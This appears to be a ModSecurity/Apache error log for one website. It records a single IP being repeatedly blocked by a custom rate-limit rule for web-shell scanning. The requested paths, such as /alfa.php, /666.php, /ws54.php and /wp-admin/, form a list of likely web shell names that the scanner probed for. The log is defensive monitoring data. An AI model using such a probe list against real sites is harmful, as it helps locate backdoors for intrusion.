[Sat May 23 20:49:04.498762 2026] [:error] [pid 44325:tid 44348] [client 4.213.99.137:2020] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "ahGiQFgUQb4puB_2yV8lEAAAAZQ"]
[Sat May 23 20:49:04.780928 2026] [:error] [pid 30942:tid 31003] [client 4.213.99.137:1992] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ahGiQNUosz64YFiBlG11QAAAAIA"]
[Sat May 23 20:49:05.057113 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1381] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ahGiQcyrPrcAqE-FOKKfNAAAAcw"]
[Sat May 23 20:49:05.331197 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:2045] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ahGiQcyrPrcAqE-FOKKfNgAAAcM"]
[Sat May 23 20:49:05.607361 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:2039] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ahGiQVgUQb4puB_2yV8lEgAAAY8"]
[Sat May 23 20:49:05.882423 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1163] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ahGiQaIYDYo8WvA5zLJFoAAAANA"]
[Sat May 23 20:49:06.165600 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1193] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ahGiQnTIgjSDhiZmvlXtdAAAAEs"]
[Sat May 23 20:49:06.438501 2026] [:error] [pid 44296:tid 44322] [client 4.213.99.137:1213] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ahGiQpdrUdFI6ijvMkmLzgAAAVg"]
[Sat May 23 20:49:06.715765 2026] [:error] [pid 44325:tid 44332] [client 4.213.99.137:1414] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "ahGiQlgUQb4puB_2yV8lFAAAAYQ"]
[Sat May 23 20:49:06.986965 2026] [:error] [pid 44325:tid 44341] [client 4.213.99.137:1988] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahGiQlgUQb4puB_2yV8lFQAAAY0"]
[Sat May 23 20:49:07.267357 2026] [:error] [pid 25876:tid 25884] [client 4.213.99.137:2029] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahGiQwSpWUCKPezIBJCtbAAAAQY"]
[Sat May 23 20:49:07.552381 2026] [:error] [pid 30940:tid 30961] [client 4.213.99.137:1160] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahGiQ5qUP2XZmzp7RDoMhgAAAAw"]
[Sat May 23 20:49:07.822785 2026] [:error] [pid 44325:tid 44328] [client 4.213.99.137:1987] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahGiQ1gUQb4puB_2yV8lFwAAAYA"]
[Sat May 23 20:49:08.113247 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:2016] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "ahGiRMyrPrcAqE-FOKKfPAAAAcI"]
[Sat May 23 20:49:08.390999 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:2046] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "ahGiRHTIgjSDhiZmvlXtfQAAAEg"]
[Sat May 23 20:49:08.664937 2026] [:error] [pid 25876:tid 25889] [client 4.213.99.137:1191] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "ahGiRASpWUCKPezIBJCtbQAAAQs"]
[Sat May 23 20:49:08.938601 2026] [:error] [pid 30940:tid 30969] [client 4.213.99.137:1354] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "ahGiRJqUP2XZmzp7RDoMhwAAABQ"]
[Sat May 23 20:49:09.217700 2026] [:error] [pid 25876:tid 25891] [client 4.213.99.137:1164] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ahGiRQSpWUCKPezIBJCtbgAAAQ0"]
[Sat May 23 20:49:09.521203 2026] [:error] [pid 44326:tid 44378] [client 4.213.99.137:1192] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ahGiRcyrPrcAqE-FOKKfRAAAAdc"]
[Sat May 23 20:49:09.801299 2026] [:error] [pid 30940:tid 30960] [client 4.213.99.137:1156] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ahGiRZqUP2XZmzp7RDoMiAAAAAs"]
[Sat May 23 20:49:10.076643 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1152] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ahGiRnTIgjSDhiZmvlXtfgAAAE4"]
[Sat May 23 20:49:10.366136 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1162] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ahGiRqIYDYo8WvA5zLJFpAAAANY"]
[Sat May 23 20:49:10.646718 2026] [:error] [pid 31039:tid 31045] [client 4.213.99.137:1996] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ahGiRqIYDYo8WvA5zLJFpgAAAMQ"]
[Sat May 23 20:49:10.923639 2026] [:error] [pid 30940:tid 30971] [client 4.213.99.137:1348] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ahGiRpqUP2XZmzp7RDoMigAAABY"]
[Sat May 23 20:49:11.212536 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:2026] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ahGiR3TIgjSDhiZmvlXtgAAAAFg"]
[Sat May 23 20:49:11.495349 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1170] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ahGiR8yrPrcAqE-FOKKfSAAAAdE"]
[Sat May 23 20:49:11.766130 2026] [:error] [pid 31039:tid 31044] [client 4.213.99.137:2004] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ahGiR6IYDYo8WvA5zLJFqQAAAMM"]
[Sat May 23 20:49:12.040139 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1365] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ahGiSMyrPrcAqE-FOKKfSQAAAcg"]
[Sat May 23 20:49:12.312385 2026] [:error] [pid 44326:tid 44356] [client 4.213.99.137:1378] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ahGiSMyrPrcAqE-FOKKfSgAAAcE"]
[Sat May 23 20:49:12.593158 2026] [:error] [pid 31039:tid 31054] [client 4.213.99.137:1985] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahGiSKIYDYo8WvA5zLJFrAAAAM0"]
[Sat May 23 20:49:12.904868 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1181] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahGiSMyrPrcAqE-FOKKfSwAAAcw"]
[Sat May 23 20:49:13.190779 2026] [:error] [pid 44296:tid 44312] [client 4.213.99.137:2019] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahGiSZdrUdFI6ijvMkmL0AAAAU4"]
[Sat May 23 20:49:13.466620 2026] [:error] [pid 31039:tid 31047] [client 4.213.99.137:1990] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahGiSaIYDYo8WvA5zLJFsAAAAMY"]
[Sat May 23 20:49:13.740823 2026] [:error] [pid 31039:tid 31046] [client 4.213.99.137:2013] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ahGiSaIYDYo8WvA5zLJFsQAAAMU"]
[Sat May 23 20:49:14.020497 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1175] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ahGiSsyrPrcAqE-FOKKfTAAAAdg"]
[Sat May 23 20:49:14.296633 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1353] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ahGiSnTIgjSDhiZmvlXtgQAAAEE"]
[Sat May 23 20:49:14.582207 2026] [:error] [pid 31039:tid 31059] [client 4.213.99.137:2007] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "ahGiSqIYDYo8WvA5zLJFswAAANI"]
[Sat May 23 20:49:14.873579 2026] [:error] [pid 25876:tid 25888] [client 4.213.99.137:2021] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ahGiSgSpWUCKPezIBJCtcgAAAQo"]
[Sat May 23 20:49:15.143721 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1189] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ahGiS8yrPrcAqE-FOKKfTQAAAcI"]
[Sat May 23 20:49:15.435169 2026] [:error] [pid 31039:tid 31042] [client 4.213.99.137:1989] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ahGiS6IYDYo8WvA5zLJFtgAAAME"]
[Sat May 23 20:49:15.712973 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:2042] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ahGiS6IYDYo8WvA5zLJFtwAAAMA"]
[Sat May 23 20:49:15.996931 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1182] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ahGiS6IYDYo8WvA5zLJFuAAAANY"]
[Sat May 23 20:49:16.275990 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:1995] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ahGiTNUosz64YFiBlG11QgAAAJY"]
[Sat May 23 20:49:16.578326 2026] [:error] [pid 25876:tid 25880] [client 4.213.99.137:2036] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ahGiTASpWUCKPezIBJCtdAAAAQI"]
[Sat May 23 20:49:16.856920 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1214] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ahGiTJqUP2XZmzp7RDoMkAAAAAE"]
[Sat May 23 20:49:17.130375 2026] [:error] [pid 44326:tid 44356] [client 4.213.99.137:1153] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "ahGiTcyrPrcAqE-FOKKfTwAAAcE"]
[Sat May 23 20:49:17.400537 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1349] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "ahGiTcyrPrcAqE-FOKKfUQAAAcs"]
[Sat May 23 20:49:17.671703 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1993] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "ahGiTcyrPrcAqE-FOKKfUgAAAcw"]
[Sat May 23 20:49:17.944125 2026] [:error] [pid 44325:tid 44350] [client 4.213.99.137:1358] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "ahGiTVgUQb4puB_2yV8lGgAAAZY"]
[Sat May 23 20:49:18.219807 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:2005] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "ahGiTlgUQb4puB_2yV8lGwAAAZU"]
[Sat May 23 20:49:18.506491 2026] [:error] [pid 25876:tid 25881] [client 4.213.99.137:2047] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "ahGiTgSpWUCKPezIBJCteAAAAQM"]
[Sat May 23 20:49:18.780971 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:2008] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "ahGiTsyrPrcAqE-FOKKfVgAAAdY"]
[Sat May 23 20:49:19.066271 2026] [:error] [pid 25876:tid 25893] [client 4.213.99.137:2024] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "ahGiTwSpWUCKPezIBJCteQAAAQ8"]
[Sat May 23 20:49:19.352999 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1195] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/deepseek_d.php"] [unique_id "ahGiT8yrPrcAqE-FOKKfVwAAAdA"]
[Sat May 23 20:49:19.662998 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1369] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/deepseek_d.php"] [unique_id "ahGiT3TIgjSDhiZmvlXtggAAAFQ"]
[Sat May 23 20:49:19.982149 2026] [:error] [pid 25876:tid 25887] [client 4.213.99.137:1172] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/deepseek_d.php"] [unique_id "ahGiTwSpWUCKPezIBJCtegAAAQk"]
